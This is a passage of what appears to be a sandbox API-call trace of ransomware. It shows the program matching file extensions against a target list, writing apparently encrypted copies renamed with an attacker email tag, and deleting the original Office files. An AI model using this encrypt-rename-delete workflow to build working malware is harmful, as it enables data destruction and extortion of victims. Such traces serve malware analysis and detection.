	[0259.441] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.441] lstrlenW (lpString=".jpg") returned 4
	[0259.441] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.441] lstrlenW (lpString=".doc") returned 4
	[0259.441] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.441] lstrlenW (lpString=".docx") returned 5
	[0259.441] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1
	[0259.441] lstrlenW (lpString=".pdf") returned 4
	[0259.441] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.441] lstrlenW (lpString=".xls") returned 4
	[0259.441] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.441] lstrlenW (lpString=".xlsx") returned 5
	[0259.441] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1
	[0259.441] lstrlenW (lpString=".ppt") returned 4
	[0259.441] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.441] lstrlenW (lpString=".zip") returned 4
	[0259.441] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.441] lstrlenW (lpString=".rar") returned 4
	[0259.441] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.441] lstrlenW (lpString=".bz2") returned 4
	[0259.441] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.441] lstrlenW (lpString=".7z") returned 3
	[0259.442] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.442] lstrlenW (lpString=".dbf") returned 4
	[0259.442] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.442] lstrlenW (lpString=".1cd") returned 4
	[0259.442] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.442] lstrlenW (lpString=".jpg") returned 4
	[0259.442] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.442] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0259.442] lstrlenW (lpString="AEC.VSL") returned 7
	[0259.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.458] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=69496) returned 1
	[0259.458] CloseHandle (hObject=0x35c) returned 1
	[0259.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 0x20
	[0259.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.545] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.545] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.546] GetLastError () returned 0x0
	[0259.546] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x10f78, lpOverlapped=0x0) returned 1
	[0259.552] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x10f80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x10f80, lpOverlapped=0x0) returned 1
	[0259.554] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.554] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0259.554] SetEndOfFile (hFile=0x220) returned 1
	[0259.555] CloseHandle (hObject=0x220) returned 1
	[0259.555] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.555] SetEndOfFile (hFile=0x33c) returned 1
	[0259.557] CloseHandle (hObject=0x33c) returned 1
	[0259.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 1
	[0259.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.576] lstrlenW (lpString=".doc") returned 4
	[0259.576] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0259.577] lstrlenW (lpString=".docx") returned 5
	[0259.577] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1
	[0259.577] lstrlenW (lpString=".pdf") returned 4
	[0259.577] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0259.577] lstrlenW (lpString=".xls") returned 4
	[0259.577] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0259.577] lstrlenW (lpString=".xlsx") returned 5
	[0259.577] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1
	[0259.577] lstrlenW (lpString=".ppt") returned 4
	[0259.577] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0259.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.577] lstrlenW (lpString=".zip") returned 4
	[0259.577] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0259.577] lstrlenW (lpString=".rar") returned 4
	[0259.577] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0259.577] lstrlenW (lpString=".bz2") returned 4
	[0259.577] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0259.577] lstrlenW (lpString=".7z") returned 3
	[0259.577] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0259.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.577] lstrlenW (lpString=".dbf") returned 4
	[0259.577] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0259.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.577] lstrlenW (lpString=".1cd") returned 4
	[0259.577] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0259.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.577] lstrlenW (lpString=".jpg") returned 4
	[0259.577] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0259.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.577] lstrlenW (lpString=".doc") returned 4
	[0259.578] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0259.578] lstrlenW (lpString=".docx") returned 5
	[0259.578] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1
	[0259.578] lstrlenW (lpString=".pdf") returned 4
	[0259.578] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0259.578] lstrlenW (lpString=".xls") returned 4
	[0259.578] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0259.578] lstrlenW (lpString=".xlsx") returned 5
	[0259.578] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1
	[0259.578] lstrlenW (lpString=".ppt") returned 4
	[0259.578] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0259.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.578] lstrlenW (lpString=".zip") returned 4
	[0259.578] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0259.578] lstrlenW (lpString=".rar") returned 4
	[0259.578] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0259.578] lstrlenW (lpString=".bz2") returned 4
	[0259.578] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0259.578] lstrlenW (lpString=".7z") returned 3
	[0259.578] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0259.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.578] lstrlenW (lpString=".dbf") returned 4
	[0259.578] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0259.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.578] lstrlenW (lpString=".1cd") returned 4
	[0259.578] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0259.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55
	[0259.578] lstrlenW (lpString=".jpg") returned 4
	[0259.578] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0259.579] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0259.579] lstrlenW (lpString="AECUTILS.VSL") returned 12
	[0259.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.809] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=41864) returned 1
	[0259.809] CloseHandle (hObject=0x220) returned 1
	[0259.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20
	[0259.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0259.933] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.933] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0259.934] GetLastError () returned 0x0
	[0259.934] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xa388, lpOverlapped=0x0) returned 1
	[0259.936] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xa390, lpOverlapped=0x0) returned 1
	[0259.937] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.937] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.937] SetEndOfFile (hFile=0x29c) returned 1
	[0259.937] CloseHandle (hObject=0x29c) returned 1
	[0259.937] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.937] SetEndOfFile (hFile=0x218) returned 1
	[0259.940] CloseHandle (hObject=0x218) returned 1
	[0259.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 1
	[0259.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.941] lstrlenW (lpString=".doc") returned 4
	[0259.941] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0259.941] lstrlenW (lpString=".docx") returned 5
	[0259.941] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1
	[0259.941] lstrlenW (lpString=".pdf") returned 4
	[0259.941] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0259.941] lstrlenW (lpString=".xls") returned 4
	[0259.941] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0259.941] lstrlenW (lpString=".xlsx") returned 5
	[0259.941] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1
	[0259.941] lstrlenW (lpString=".ppt") returned 4
	[0259.941] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0259.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.941] lstrlenW (lpString=".zip") returned 4
	[0259.941] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0259.941] lstrlenW (lpString=".rar") returned 4
	[0259.941] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0259.941] lstrlenW (lpString=".bz2") returned 4
	[0259.941] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0259.941] lstrlenW (lpString=".7z") returned 3
	[0259.941] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0259.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.941] lstrlenW (lpString=".dbf") returned 4
	[0259.941] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0259.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.942] lstrlenW (lpString=".1cd") returned 4
	[0259.942] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0259.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.942] lstrlenW (lpString=".jpg") returned 4
	[0259.942] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0259.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.942] lstrlenW (lpString=".doc") returned 4
	[0259.942] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0259.942] lstrlenW (lpString=".docx") returned 5
	[0259.942] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1
	[0259.942] lstrlenW (lpString=".pdf") returned 4
	[0259.942] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0259.942] lstrlenW (lpString=".xls") returned 4
	[0259.942] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0259.942] lstrlenW (lpString=".xlsx") returned 5
	[0259.942] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1
	[0259.942] lstrlenW (lpString=".ppt") returned 4
	[0259.942] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0259.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.942] lstrlenW (lpString=".zip") returned 4
	[0259.942] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0259.942] lstrlenW (lpString=".rar") returned 4
	[0259.942] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0259.942] lstrlenW (lpString=".bz2") returned 4
	[0259.942] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0259.942] lstrlenW (lpString=".7z") returned 3
	[0259.942] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0259.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.942] lstrlenW (lpString=".dbf") returned 4
	[0259.943] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0259.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.943] lstrlenW (lpString=".1cd") returned 4
	[0259.943] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0259.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60
	[0259.943] lstrlenW (lpString=".jpg") returned 4
	[0259.943] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0259.943] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0259.943] lstrlenW (lpString="DBWIZ.VSL") returned 9
	[0259.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0259.944] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=164216) returned 1
	[0259.944] CloseHandle (hObject=0x218) returned 1
	[0259.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 0x20
	[0259.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0259.944] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.944] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0259.945] GetLastError () returned 0x0
	[0259.945] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x28178, lpOverlapped=0x0) returned 1
	[0260.371] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x28180, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x28180, lpOverlapped=0x0) returned 1
	[0260.486] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.487] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0260.487] SetEndOfFile (hFile=0x29c) returned 1
	[0260.487] CloseHandle (hObject=0x29c) returned 1
	[0260.487] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.487] SetEndOfFile (hFile=0x218) returned 1
	[0260.492] CloseHandle (hObject=0x218) returned 1
	[0260.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 1
	[0260.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.492] lstrlenW (lpString=".doc") returned 4
	[0260.492] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0260.492] lstrlenW (lpString=".docx") returned 5
	[0260.492] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1
	[0260.492] lstrlenW (lpString=".pdf") returned 4
	[0260.492] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0260.492] lstrlenW (lpString=".xls") returned 4
	[0260.493] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0260.493] lstrlenW (lpString=".xlsx") returned 5
	[0260.493] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1
	[0260.493] lstrlenW (lpString=".ppt") returned 4
	[0260.493] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0260.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.493] lstrlenW (lpString=".zip") returned 4
	[0260.493] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0260.493] lstrlenW (lpString=".rar") returned 4
	[0260.493] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0260.493] lstrlenW (lpString=".bz2") returned 4
	[0260.493] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0260.493] lstrlenW (lpString=".7z") returned 3
	[0260.493] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0260.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.493] lstrlenW (lpString=".dbf") returned 4
	[0260.493] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0260.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.493] lstrlenW (lpString=".1cd") returned 4
	[0260.493] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0260.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.493] lstrlenW (lpString=".jpg") returned 4
	[0260.493] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0260.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.493] lstrlenW (lpString=".doc") returned 4
	[0260.493] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0260.493] lstrlenW (lpString=".docx") returned 5
	[0260.493] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1
	[0260.493] lstrlenW (lpString=".pdf") returned 4
	[0260.493] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0260.493] lstrlenW (lpString=".xls") returned 4
	[0260.494] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0260.494] lstrlenW (lpString=".xlsx") returned 5
	[0260.494] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1
